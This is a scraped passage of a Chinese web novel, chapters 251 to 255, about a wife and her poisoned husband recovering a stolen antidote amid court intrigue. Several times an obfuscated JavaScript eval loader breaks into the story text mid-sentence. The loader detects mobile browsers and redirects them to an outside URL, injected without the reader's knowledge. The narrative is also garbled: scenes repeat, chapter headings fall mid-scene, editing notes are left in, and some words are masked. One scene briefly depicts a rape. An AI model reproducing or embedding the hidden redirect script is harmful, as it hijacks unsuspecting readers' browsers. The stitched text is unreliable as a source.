紫姨话都说到这份上了,茅清兮再坚持留下,就显得有些不近人情了。 她犹豫了一下,只好点了点头: “那……好吧,有事你随时叫我。” “哎,您就放心吧!”紫姨满口答应。 茅清兮这才跟着冀容白回了房。 冀容白牵着茅清兮的手,两人并肩走在回廊上。 夜风微凉,月色如水。 “等我毒解了,你……想让我为你做什么?” 冀容白突然开口,打破了沉默。 茅清兮认真地想了想: “咱们俩还没好好比试过呢,等你好了,咱们切磋切磋,看看谁更厉害。” 冀容白原本还期待着她说些什么,结果就等来了这么一句,顿时有些哭笑不得。 他停下脚步,伸手揽住她的腰,在她腰间轻轻捏了一把,语气中带着几分无奈,几分宠溺: “就这个?没别的了?” 茅清兮眨了眨眼,一脸茫然: “啊?还有什么?” 冀容白的手指,开始不安分地在她腰间游走,暗示的意味,再明显不过。 茅清兮这才反应过来,耳根微微泛红,有些羞赧地低下头: “那个……等你好了再说。” 冀容白想起两人新婚之夜,茅清兮就质疑他“不行”,这让他耿耿于怀至今。 当时他病体未愈,确实有心无力。 可如今不一样了,沈大夫给他开的那些药,效果还是很显著的。 他觉得自己,完全可以! 冀容白一个打横抱起茅清兮,大步朝卧房走去。 茅清兮惊呼一声,下意识地搂住了他的脖子。 进了屋,冀容白直接把她压在了床上,低头,在她唇上轻轻咬了一口,声音低沉而沙哑: “娘子,不如现在就试试,看为夫……到底行不行?” 茅清兮被他这突如其来的举动弄得又羞又窘,却又忍不住想笑。 两人嬉闹了一阵,冀容白才放开她。 他知道,茅清兮心里还惦记着解药的事,不可能完全放松下来。 他也不想逼她。 冀容白侧身躺在她身边,将她揽入怀中,轻轻拍着她的背,哄她入睡。 夜渐渐深了,万籁俱寂。 五更时分,茅清兮突然惊醒。 几乎是同时,冀容白也睁开了眼睛。 “我去看看,解药怎么样了。” 茅清兮轻声说道,声音里还带着一丝惺忪睡意。 冀容白刚想说陪她一起去,门外就传来富峻急促的敲门声,声音里带着难以掩饰的惊慌: “主子!出事了!解药……解药不见了!”晨曦微露,天边泛起一丝浅淡的胭脂色。 茅清兮猛地睁开眼,从梦魇中挣脱,胸口剧烈起伏,像是刚跑完一场马拉松。身旁的冀容白几乎同时坐起身,伸手将她揽入怀中,轻拍她的后背,无声地安抚。 “做噩梦了?” 他声音低沉而沙哑,带着一丝关切。 茅清兮没有回答,只是将头埋在他的胸口,深深地吸了一口气,努力平复着紊乱的心跳。她梦见寒星露的解药被毁,冀容白毒发身亡,而她孤身一人,被困在无尽的黑暗中,绝望而无助。 “我去看看解药……” 她声音轻颤,像是怕惊扰了什么。 冀容白的手臂收紧,将她抱得更紧了些: “我陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而,一刻钟过去了,两刻钟过去了…… 富峻回来了,却带来了一个更令人震惊的消息。 “主子,夫人,府里……都找遍了,没有……没有找到解药,而且… 第二百五十一章 …绮巧也不见了。” 他低着头,不敢看冀容白的眼睛,声音越来越低,几乎微不可闻。 “绮巧?” 紫姨如遭雷击,整个人都呆住了,嘴里喃喃地念叨着, “怎么会是她……不可能……这不可能……” 绮巧,那个平日里连杀鸡都不敢看的小丫头,那个总是跟在绿绿身后,怯生生地叫着“姐姐”的小丫头,怎么会……怎么会偷走解药? 紫姨只觉得脑子里嗡嗡作响,像是有一千只蜜蜂在飞舞,乱成一团。 在紫姨的印象中,绮巧是几年前,人牙子带到秦府的,说是家里遭了灾,活不下去了,才把她卖了换口饭吃。当时她瘦瘦小小的,一双眼睛又大又黑,看着可怜巴巴的。 后来,冀容白院子里缺人,管家就把绮巧,还有其他几个丫鬟一起买了进来,其中就有苏兰。再后来,茅清兮嫁入秦府,整顿内院,苏兰心思不正被赶了出去,只留下了老实本分的绿绿和绮巧。 搬到这座宅子后,紫姨见绮巧手脚笨拙,又胆小怕事,便让她留在药房打下手,做些粗活,平日里抓药、晒药、碾药,倒也还算勤快。只是,她性子太闷,不爱说话,紫姨也只当她是年纪小,没见过世面。 昨晚,紫姨和绿绿熬夜制药,绮巧也在一旁守着,她实在困得不行,脑袋像小鸡啄米一样,一点一点的,看着都让人心疼。紫姨心软,就让她先回去睡了。 可谁能想到,这个平日里看起来人畜无害的小丫头,竟然会做出这种事? “她……她能去哪儿呢?” 紫姨的声音,带着一丝颤抖,像是无法接受这个事实。 冀容白冷笑一声,声音里充满了嘲讽和冰冷: “一个手无缚鸡之力的小丫头,能在你们眼皮子底下偷走解药,还能在重重守卫的府里,消失得无影无踪?” 他顿了顿,目光如刀,扫过跪在地上的富峻和侍卫, “你们是干什么吃的?!” 富峻和侍卫们吓得魂飞魄散,跪在地上,身体抖如筛糠,一声也不敢吭。 茅清兮的脸色,苍白如纸,她看着冀容白,缓缓开口: “这府里,明面上看着松散,实则外松内紧,你暗中布下的人手,没有一千也有八百,别说是人了,就算是一只鸟,想要飞出去,也得经过层层盘查。” 她顿了顿,目光锐利如鹰隼, “唯一的解释就是,绮巧根本就不是普通人,她一直都在伪装,她……有武功,而且还不弱。” 她想起自己曾经见过绮巧劈柴,那看似纤细的手臂,挥舞起斧头来,竟是毫不费力,当时她还以为是自己看错了,现在想来,那根本不是错觉,而是绮巧露出的破绽! 只是,他们所有人都被她那副柔弱的外表给蒙蔽了,谁会想到,一个看起来如此无害的小丫头,竟然会是一个深藏不露的高手呢? “她的把柄被我捏得死死的,就算她逃到天涯海角,我也能把她抓回来!” 茅清兮咬牙切齿地说,声音里充满了恨意。 但她心里清楚,**契不过是一张纸,对于一个有心隐瞒身份的人来说,根本毫无约束力。 “**契只是个幌子,她的身份,她的来历,都是假的,她……是秦府的人。” 茅清兮看着冀容白,一字一顿地说,语气笃定。 冀容白沉默了片刻,点了点头,算是承认了。 茅清兮深吸一口气,抓起桌上的三寒霜,转身就往外走。 “你去哪儿?!” 冀容白一把拉住她,声音低沉而沙哑。 “秦府!找他们要解药!” 茅清兮的声音里,充满了决绝和疯狂, “既然他们敢偷,我就敢抢!我倒要看看,他们能把我怎么样!” 冀容白看着她,眼神复杂,有心疼,有无奈,也有……一丝担忧。他知道,茅清兮已经彻底被激怒了,此刻的她,就像一头被逼到绝境的母狮子,为了保护自己的幼崽,什么事都做得出来。 “清兮,你冷静点!” 他试图劝说她, “秦府不是那么好闯的,你这样去,只会……” “只会怎么样?!” 茅清兮猛地甩开他的手,眼眶泛红,声音嘶哑, “难道要我眼睁睁地看着你**吗?!我做不到!我绝对做不到!” 她无法想象,没有冀容白的日子,她该怎么活下去。 冀容白将她紧紧地抱在怀里,感受着她身体的颤抖,心疼得无以复加。他低下头,在她耳边轻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373844|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道: “我去。你留在这里,等我回来。” “不行!” 茅清兮想也不想就拒绝了, “秦府那些人,都是你的亲人,你若是对他们动手,传出去,对你的名声不好。我去,我是外人,我不在乎这些……” “傻瓜,我什么时候在乎过这些虚名?” 冀容白打断她的话,语气温柔而坚定, “我知道解药在哪儿,也知道……该找谁要。” 他顿了顿,声音低沉而沙哑, “相信我,我会把解药带回来,好不好?” 茅清兮抬起头,看着他,眼神中充满了挣扎和犹豫。她知道,冀容白说的是实话,他比任何人都清楚秦府的情况,也比任何人都了解林臧雨的手段。 最终,她还是点了点头,妥协了。 冀容白捧着她的脸,在她额头上轻轻一吻,转身大步走出了房间,背影决绝而坚定。 富峻紧随其后,亦步亦趋,心情却比任何时候都要沉重。**,等待他们的,将会是什么。 秦府,这座曾经象征着荣耀与权势的府邸,如今在富峻看来,却像是一座巨大的坟墓,散发着阴森恐怖的气息。 冀容白一路畅通无阻,直接来到了林臧雨的院落。 他站在院门口,深吸一口气,然后,猛地推开了那扇紧闭的门。 吱呀一声,像是打开了尘封已久的秘密。 院子里,空无一人,只有一盏风灯在檐下摇曳,发出昏黄的光芒。 屋门紧闭,里面却传来一阵阵木鱼声,伴随着低沉的诵经声,在寂静的院落里回荡,显得格外诡异。 冀容白站在门外,静静地听着,眼神晦暗不明。 过了许久,诵经声停了,木鱼声也消失了。 “进来吧。” 屋内传来林臧雨的声音,平静而淡漠,听不出任何情绪。 冀容白推门而入,一股浓郁的檀香味扑面而来。 屋内,光线昏暗,佛龛前,点着一盏长明灯,火苗微微跳动,将林臧雨的身影拉得很长。 她跪坐在蒲团上,身穿一袭素色长袍,手里拿着一串佛珠,缓缓地捻动着。 绮巧站在她身旁,垂手而立,像一尊没有生命的雕像。 第二百五十二章 “大少爷。” 绮巧看到冀容白,微微欠身,行了一礼,声音平静,没有任何波澜。 冀容白没有理会她,目光直直地落在林臧雨身上,眼神冰冷而锐利。 老嬷嬷从屏风后走了出来,手里端着一个托盘,上面放着两盏茶,一杯放在冀容白面前,一杯放在林臧雨面前。 “大夫人,别来无恙。” 冀容白开口说道,声音冷漠而疏离。 林臧雨缓缓睁开眼睛,抬起头,看向冀容白,眼神平静如水,没有一丝波澜。 “你来了。” 她淡淡地说,像是早已料到他会来。 “我来,是为了拿回解药。” 冀容白开门见山,毫不掩饰自己的目的。 林臧雨笑了笑,笑容中带着一丝嘲讽: “解药?什么解药?” 她端起茶杯,轻轻地抿了一口,动作优雅而从容。 “寒星露的解药。” 冀容白的声音,冷得像冰, “大夫人,明人不说暗话,你我都清楚,解药在哪里。” “哦?是吗?” 林臧雨放下茶杯,缓缓开口,语气不紧不慢, “我只知道,寒星露是剧毒,无药可解。” “无药可解?” 冀容白冷笑一声, “大夫人,你以为,我还是当年那个任你摆布的孩子吗?” 他顿了顿,语气变得凌厉起来, “你处心积虑地给我下毒,不就是为了阻止我……为了那个位置吗?现在,你又何必惺惺作态?” “那个位置?” 林臧雨重复了一遍,眼神中闪过一丝复杂的情绪, “你想要?” “我只想要活下去。” 冀容白的声音,平静而坚定, “我不想死,更不想……死得不明不白。” “活着……” 林臧雨喃喃自语,眼神中闪过一丝迷茫, “活着,真的有那么重要吗?” 她抬起头,看向冀容白,眼神中充满了审视和探究, “你变了,变得……让我有些不认识了。” “人,总是会变的。” 冀容白淡淡地说, “大夫人,你这些年,不也变了吗?变得……越来越心狠手辣了。” 林臧雨的脸色,微微一变,但很快又恢复了平静。 “我所做的一切,都是为了你好。” 她缓缓开口,语气中带着一丝无奈, “你以为,那个位置,是那么好坐的吗?你以为,那些人,会轻易放过你吗?” “我不在乎。” 冀容白的声音,坚定而决绝, “我只知道,我不想死,我要活下去,仅此而已。” “好一个‘仅此而已’!” 林臧雨突然提高了声音,眼神中充满了愤怒和失望, “你以为,你活着,就能改变什么吗?你以为,你活着,就能摆脱命运的摆布吗?你太天真了!” 她猛地站起身来,指着冀容白,厉声喝道: “你知不知道,你活着,会给多少人带来灾难?!你知不知道,你活着,会让我……寝食难安?!”寒风穿过窗棂,发出呜呜声响,像极了冬夜里的鬼哭。 屋内,烛火摇曳。 冀容白坐在桌边,火光映在他脸上,越发显得眉目清隽,俊美无俦。 他微微勾唇,把玩着手中的茶盏,话里带着刺: “大夫人这话说的,倒像是我做错了什么。” “左右不过是让你们再忍耐些时日,毕竟我要是活不长了,你们又能好到哪儿去?” 他顿了顿,抬眼看向林臧雨,眸光流转。 “与其提心吊胆,夜不能寐,总好过两腿一蹬,啥也不知道,您说呢?” 林臧雨静静地看着他,眼神晦暗不明。 冀容白唇边那抹笑意,带着几分嘲弄,让林臧雨觉得心头烦闷。 “解药依然握在我手中。” 她缓缓开口,声音很轻,却带着不容置疑的威严, “这就是你同我说话的态度?” 冀容白轻嗤一声,眼底闪过一丝不耐: “哦?原来我还得叫您一声母亲,真是稀奇。” 他放下茶盏,身体微微前倾,话里话外都带着冷意。 林臧雨语气依旧淡淡的: “你心里有怨,我清楚。可眼下,你若想拿回解药,光靠这些,怕是打动不了我。” 冀容白眼神陡然一沉,周身的气息冷了下来,话里像淬了毒: “我今日来,可不是为了跟大夫人叙旧的。” 他停顿了一下,目光在林臧雨脸上扫过, “您这是,还等着我开条件?” “如今这局面,不该是您有求于我吗?” 他身体后仰,靠在椅背上,看着林臧雨,眼底满是玩味。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冀容白语气轻松,却让林臧雨脸色骤变。 她紧紧盯着冀容白,眼底翻涌着怒意,素来端庄娴静的大夫人,此刻失了分寸: “冀容白,你敢威胁我! 第二百五十三章 ” 冀容白冷哼一声,推门而出,没有再看林臧雨一眼。 门外,竟不知何时下起了雪。 这是京都今年的第一场雪,于凌晨时分悄然而至。 冀容白恰好目睹了雪花飘落的景象,他原本冷峻的眉眼,竟微微上扬。 他归心似箭。 他步履匆匆,胸口却传来一阵闷痛,忍不住轻咳起来。 一旁的富峻见了,急忙上前扶住他: “主子慢些,仔细身子。” 话音未落,却见冀容白嘴角微微扬起,脚步反而更快了。 富峻一怔,主子这是……在笑? 冀容白刚出秦府,便见大雪纷飞中,一个身影亭亭玉立。 茅清兮正迎着他,见他出来,眼睛一亮,笑意盈盈地问: “可还顺利?” “嗯。” 冀容白应了一声,喉咙有些发紧。 茅清兮伸出手,掌心向上: “那,回家了。” 冀容白看着那只白皙的手,没有犹豫,将自己的手放了上去,紧紧握住。 他飞身上马,坐在茅清兮身后,将她整个人都圈在怀里。 茅清兮一扯缰绳,清叱一声,骏马如离弦之箭般飞驰而去。 富峻连忙跨上马,紧随其后,心中暗自嘀咕,主子这般急切,真是少见。 …… 冀容白前脚刚走,冀国公后脚便得了消息。 他听说冀容白深夜回府,本就心下不安,又听闻他直奔林臧雨的院子,更是疑虑重重,便急忙赶了过来。 他到时,冀容白早已离去。 佛堂前,只剩林臧雨一人,跪坐在蒲团上,神色淡淡。 冀国公几步上前,开门见山: “他来做什么?” 林臧雨眼皮都没抬,语气淡淡: “还能做什么,叙叙旧罢了。” “叙旧?” 冀国公眉头紧锁,语气中带着狐疑, “他何时与你有旧可叙?这么晚了,他究竟想做什么?” 林臧雨抬眼,看了冀国公一眼,话里带着刺: “国公爷这话问得奇怪,我若说与您听,您又肯信几分?” “林臧雨!” 冀国公被她这副冷淡的样子激怒了: “你怕不是在藏着掖着什么?说!” “我一个整日吃斋念佛的妇人,能有什么事瞒着您?国公爷想太多了。” 林臧雨垂下眼眸,语气平淡,似乎对一切都漠不关心。 冀国公狐疑地盯着她,半晌才说: “我不管你们说了什么,总之,你离他远些。” “如今这京城,明里暗里想要他命的人,不知凡几。更何况,他如今也没几天好活了,你更不该见他。” 林臧雨忽然轻笑一声,带着几分玩味。 冀国公眉头皱得更紧: “你笑什么?” “有件事,怕是要让国公爷失望了。” 林臧雨缓缓抬起头,看向冀国公, “冀容白他,已经无碍了。他的毒,很快就能解。” 冀国公闻言,脸色铁青。 他心里清楚,冀容白若能活下来,这京都的天,怕是要变了。 他心中烦乱,转身欲走,可走了几步,又折返回来,目光复杂地看着林臧雨: “臧雨,若是……若是圣上执意要立他为储,你当如何?” 他没有说下去,但意思已经很明显了。 若圣上执意如此,下一步,便是要将林臧雨接进宫中,封妃立后。 这么多年,林臧雨深居简出,避不见人,圣上无可奈何。但他对她的心思,朝野上下,人尽皆知。 冀国公思及此处,胸中便涌起一股无名火,几乎要将他烧成灰烬。 这些年来,林臧雨宁愿待在这暗无天日的院子里,也不愿见他,在他面前,她永远都是一副冷若冰霜的样子。可对着那个高高在上的人呢?她又会是何种姿态? 他攥紧了拳头,掌心一片濡湿。 “臧雨……” 冀国公的目光落在林臧雨脸上,带着一种近乎疯狂的执念, “这些年,是我对不住你,可我也是真心待你!你心里,可曾有过我?” 林臧雨目光依旧淡漠,眼底空洞得没有任何人的影子。 冀国公只觉得一股怒火直冲头顶,理智全无。 他猛地将林臧雨压倒,不顾她的挣扎,强行占有了她。 他恨她,恨她的冷漠,恨她的无情,恨她心里从来没有他的位置。可他更爱她,爱她的美丽,爱她的骄傲,爱她的一切。这么多年,他一直隐忍不发, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378227|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可如今,他再也忍不住了。他要让她记住,她是他的女人,永远都是。冀容白服下解药后,整个人陷入了昏迷。 他的体温在急剧升高,脸色时青时紫,额头上渗出的冷汗如同断了线的珠子般滚落。身体不时抽搐,喉咙里发出痛苦的呜咽声。 茅清兮虽然知道这是正常反应,但看着他痛苦的模样,心里还是一阵揪痛。她伸手轻轻擦拭他额头的冷汗,指尖触及他滚烫的皮肤,不由得蹙眉。 “小姐,药浴已经准备好了。”紫姨的声音从门外传来,伴随着药材特有的苦涩香气。 茅清兮轻轻扶起冀容白,替他褪去上衣。他的肌肤在烛光下泛着不正常的潮红,胸口剧烈起伏,呼吸急促而紊乱。 将人小心翼翼地放入药桶中,温热的药液漫过他的胸膛。茅清兮注意到他的眉头微微舒展了些,似乎得到了些许缓解。 “富峻。”茅清兮冷声唤道,目光凌厉如刀。 “属下在。”黑暗中,一道身影悄然浮现。 “从现在开始,任何人胆敢闯入澜府,格杀勿论。”她的声音里带着不容置疑的威严。 富峻领命而去,茅清兮又调来一队青羽暗卫守在府外。夜色中,暗卫们的身影若隐若现,如同无声的利刃。 不多时,司玄苏和俞霜也赶到了,两边把守着院子。寒风呼啸,他们的衣袍猎猎作响,却纹丝不动。 茅清兮取出银针,开始为冀容白疏通被毒气堵住的穴位。每一针都需要精准无比,稍有偏差就可能加重病情。她的手很稳,却在心底泛起阵阵不安。 随着银针刺入,一口黑血从冀容白口中喷出。浓稠的毒血散发着刺鼻的气味,在药汤中晕开一片乌黑。 “寒星露的毒已经侵入肺腑,想要完全清除非一时半刻。”紫姨神色凝重,眉间的皱纹更深了,“小姐在此守着,我去准备新的药浴。” 茅清兮点头,目送紫姨离开。她知道接下来会是一场持久战,但只要能救活冀容白,她愿意付出一切代价。 屋内安静下来,只剩下药汤冒着热气的声响。烛光在墙上投下摇曳的影子,仿佛在诉说着什么。 她靠在木桶旁,看着冀容白苍白的面容,忍不住伸手戳了戳他的脸颊。指尖传来的温度依然灼人,但比方才已经好了许多。 手指顺着他的轮廓慢慢移动,从鼻梁到眼睑。 第二百五十四章 这双眼睛,不论是冷漠还是带笑,都让人移不开视线。如今紧闭着,睫毛在脸上投下一片阴影。 茅清兮舀起一捧热水,轻轻洒在他脸上。水珠顺着他的下颌滑落,没入胸膛。她的动作轻柔,生怕惊扰了他的安眠。 “你得赶紧恢复元气。”她轻声说,声音里带着连她自己都没察觉的柔软。 外面的雪已经下了两个时辰,枝头檐角都染上了一层白。寒气从窗缝中渗入,却驱不散屋内的药香。 突然,外面传来一阵打斗声。茅清兮警觉地抬头,手已经按在了腰间的佩剑上。 不多时,声音平息。她走出屋子,看到司玄苏和俞霜身上沾满血迹,院子里还躺着几具尸体。 “来了几波人?”她问道,目光在院中扫视。 “两波。”司玄苏抹去脸上的血迹,“一群人被挡在大门口,另一波溜进来的也都解决了。” “都是什么人?” “有太子府的暗卫,也有宁王的人。”俞霜补充道,“他们似乎得到了消息。” 茅清兮点头:“告诉富峻,白天也不能放松警惕。”她知道,这只是开始。 冀容白解毒的消息已经走漏,太子、宁王那边必然不会善罢甘休。这场风波,恐怕还远未结束。 就在这时,清韵和贤王的到访让茅清兮有些意外。这个时候,他们为何而来? 她让绿绿将人请到正厅,自己随后也过去见客。推门而入时,她注意到贤王的神色有些凝重。 “小女子见过王爷。”她行礼道,目光却在暗暗观察着两人。 “臧夫人不必多礼。”贤王笑道,眼中闪过一丝关切,“不知本王今日来访是否打扰?” “贤王能来是澜府的荣幸。”茅清兮不动声色地应对。 清韵坐不住,急切地问:“清兮,这些天你都在忙什么?我好久没见到你了。”少年的脸上写满了担忧。 “我一直在府里。”茅清兮笑道,伸手揉了揉他的头发,“倒是你,怎么这些天都不来了?” “我妈把我关在家里,也不让我来找你。”清韵撇嘴,“今天实在忍不住,才跑出来的。路上碰到临哥哥,就一起来了。” 贤王开口问:“容白呢?” “夫君身体不适,服药后正在休息。”茅清兮谨慎地回答。 贤王压低声音说:“若澜府遇到困难,本王定当相助。” “多谢贤王关心,澜府一切安好。”她不想让更多人卷入这场风波。 贤王让人送上补药,又提出要探望冀容白。药箱上印着御医院的标记,显然是精心准备的。 茅清兮婉拒:“夫君病重,太医叮嘱不可受风。”她知道,现在不能让任何人接近冀容白。 送走贤王后,清韵拉住茅清兮:“清兮,临哥哥让我告诉你,他会帮你拖住那些找麻烦的人,你安心照顾冀容白。” 茅清兮心中一暖,看来是她错怪贤王了。回到内院,她又开始了新一轮的施针。 夜色渐深,雪越下越大。茅清兮守在冀容白身边,听着他逐渐平稳的呼吸声,终于稍稍放下心来。 但她知道,这个夜晚还很长,而这仅仅是开始。 “章节字数”:4213“清兮,别瞒我,是不是出什么事了?” 刚把贤王送出府外,清韵郡主一把攥住茅清兮的手腕,指尖微微发颤,像是强忍着内心的不安。 “为什么这么说?”茅清兮不动声色,反问道。 “我娘说你们府上最近不太平,而且……”清韵压低了声音,朝四周瞥了两眼,鬼鬼祟祟的模样,“临哥哥来的时候跟我说,你们是遇到麻烦了。他要我告诉你,他会尽力拖着给你找麻烦的人,让你……安心照顾冀容白。” 茅清兮心头一暖,如同一股温泉流过,没想到贤王对冀容白竟有这般情谊? 或许,自己该找个机会,好好谢谢他。 不过眼下……更重要的是另一件事。 茅清兮收敛了心神,语气不容置疑:“清韵,你先回去,澜府现在不安全。” “我不!”清韵郡主把头摇得像拨浪鼓,小女孩的任性显露无疑,“我回去,娘亲又要将我关起来了。” “听话。”茅清兮蹙起眉,声音冷了几分,带着不容拒绝的威严,“你留在这里,我还要分心照顾你,更危险。” 清韵还想说什么,茅清兮直接打断:“就这么定了,我派人送你回去。” 语气斩钉截铁,没有一丝商量的余地,像是一位发号施令的将军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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这次,他角度刁钻,手腕一抖,短刃脱手飞出,如毒蛇吐信,直取冀容白要害,这一招,阴险毒辣。 茅清兮眼神一凛,三寒霜发出一声尖啸,剑身震颤,人已如鬼魅般闪到冀容白面前,快如闪电。 第二百五十五章 “铛——” 火星四溅,短刃被三寒霜精准地磕飞,在空中划过一道弧线,钉在墙上,发出嗡嗡的震颤声。 白苏道长见状,知道计划彻底失败,眼中闪过一丝绝望,仿佛被逼到了绝境。 他死死盯着茅清兮,神色复杂,有愤怒,有不甘,还有一丝掩饰不住的欣赏,像是看到了一个惊才绝艳的后辈:“你的天赋远胜令堂当年……令堂在诸多门徒之中,修为才是王道,如今你的剑法,恐怕连掌门也……” “承蒙师伯抬爱。”茅清兮笑得云淡风轻,仿佛只是听了一句无关紧要的寒暄,但她的眼神,却冷若冰霜。 “哼,等冀容白醒来,江湖风云将起,到时候生灵涂炭,都是你们的罪过!”白苏道长目光扫过浴桶中毫无动静的人,语气中带着一丝难以言喻的焦虑和痛心。 “师伯一心为国,倒是让清兮刮目相看。”茅清兮的语气充满讽刺。 白苏道长被噎了一下,怒道:“你们这些年轻人懂什么!只知道争权夺利!”他猛地一拍桌子,茶杯震得跳起来,茶水四溅,“如今大晋国祚才几年,西魏虎视眈眈,周边小国哪个不眼红?大晋要是乱了,百姓又要遭殃!” “那依师伯之见,扶持钱云霄,天下就太平了?”茅清兮的声音里充满了不屑。 “至少……至少比冀容白强!”白苏道长底气不足地吼道。 茅清兮笑了,笑声中带着轻蔑:“一个只知道**权术,视人命如草芥的储君?师伯,你所谓的天下太平,就是让这种人坐上皇位?” “你……你……”白苏道长被茅清兮逼问得哑口无言,气得浑身发抖。 茅清兮不再理会他,转而幽幽开口,像是在自言自语,又像是在试探:“师伯,我听说冀大夫人和当今皇后是姐妹……亲姐妹?” 白苏道长脸色一变,厉声道:“何故打听此事?” 茅清兮没有回答,继续说道:“既然是亲姐妹,冀大夫人为何如此……不遗余力地要除掉冀容白?就算她支持钱云霄,可冀容白也是她亲生的……” “妇人之见!”白苏道长怒喝一声,打断了茅清兮的话,像是被触碰到了逆鳞,“臧雨的心思,岂是你们这些小女子能揣测的?她心中只有天下,只有百姓!为了大局,她可以牺牲一切!” “牺牲一切?包括自己的亲生儿子?”茅清兮冷笑,眼神中闪过一丝寒光。 白苏道长没有回答,只是死死地盯着茅清兮,眼神中充满了愤怒和警告。 茅清兮看着暴跳如雷的白苏道长,眸色暗了暗。 她转过身,对着门外吩咐:“来人,把他绑了,关到柴房去。没我的吩咐,不许给他饭吃。” 语气冰冷,不带一丝感情,仿佛在吩咐一件微不足道的小事。 下人应声而入,迅速将白苏道长制服,拖了出去。 室内恢复了寂静。 茅清兮缓缓走到窗边,望着窗外,阳光透过窗棂,在她脸上投下斑驳的光影,她的眉头紧锁,像是在思索着什么难题。 林臧雨,这个名字,像是一团迷雾,让她看不清,摸不透。 口口声声为了天下,为了百姓,却对自己的亲生儿子痛下**……这真的是一个母亲能做出来的事? 还是说,这背后,还有更深的隐情? 绮巧……这个名字突然浮现在茅清兮的脑海中。 她突然意识到,林臧雨在冀容白身边安插的这颗棋子,恐怕不仅仅是为了监视,更是为了…… 茅清兮的脸色变得苍白,她不敢再想下去。 她深吸一口气,强迫自己冷静下来,转身回到浴桶旁。 冀容白依旧昏迷着,脸色苍白如纸,但呼吸已经平稳了许多。 茅清兮伸出手,轻轻抚摸着他的脸颊,眼神中充满了担忧和心疼。 外面的守卫,虽然能挡住明面上的刺客,但那些隐藏在暗处的敌人呢? 比如……躲在暗处,用毒的高手。 茅清兮决定,接下来几天,寸步不离地守着冀容白,直到他醒来。 接下来的几天,茅清兮衣不解带地照顾着冀容白,亲自煎药,喂药,擦身…… 她甚至用自己的内力,配合着银针,一点点地将冀容白体内的余毒逼出来。 这日深夜,子时。 冀容白突然剧烈地咳嗽起来,猛地喷出一口黑血! 黑血落在地上,发出“滋滋”的声响,像是被腐蚀了一般。 茅清兮脸色一变,立刻上前扶住他,手忙脚乱地替他擦拭嘴角的血迹。 冀容白的脸色以肉眼可见的速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384602|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度好转,由原本的惨白,渐渐恢复了一丝血色。 “苏将军体内的毒素已经排得差不多了,接下来只需静养,慢慢调理即可。”紫姨的声音在身后响起,带着一丝如释重负的轻松。 茅清兮紧绷的神经终于放松了下来,紧紧地握住冀容白的手,感受着他微弱的脉搏,心中充满了希望。 寅时,天色微亮。 冀容白缓缓睁开了眼睛,入目,便是茅清兮满是血丝的双眼。晨曦微露。 床榻上,茅清兮侧躺在冀容白身侧,呼吸清浅。 几缕天光透过雕花窗棂,在她眼睫上投下淡淡的光影,恬静安然。 冀容白缓缓睁开眼,眸中一片清明。 他支起身,凝视着茅清兮的睡颜,嘴角不自觉地勾起一抹笑意。 他知道,她终于能放下心头大石,好好休息了。 如今澜府有锦衣卫守着,外面那些人,再不敢造次。 疲惫一股脑涌上来,她就这么在他身旁沉沉睡去,毫无防备。 冀容白凝望着她,思绪翻涌。 (文段2,优化开始) 往事如烟,一幕幕在眼前闪过。 他想起自己幼时在寒宫中受尽欺凌,那些尖酸刻薄的言语,如同附骨之疽,挥之不去。 也曾记得,边关战火纷飞,他身披铠甲,一次次在生死边缘徘徊。 那些血与火的记忆,交织成一张巨大的网,将他紧紧束缚。 突然,一张稚嫩的小脸闯入了他的回忆。 那是一个小女孩,扎着羊角辫,眼睛亮晶晶的。 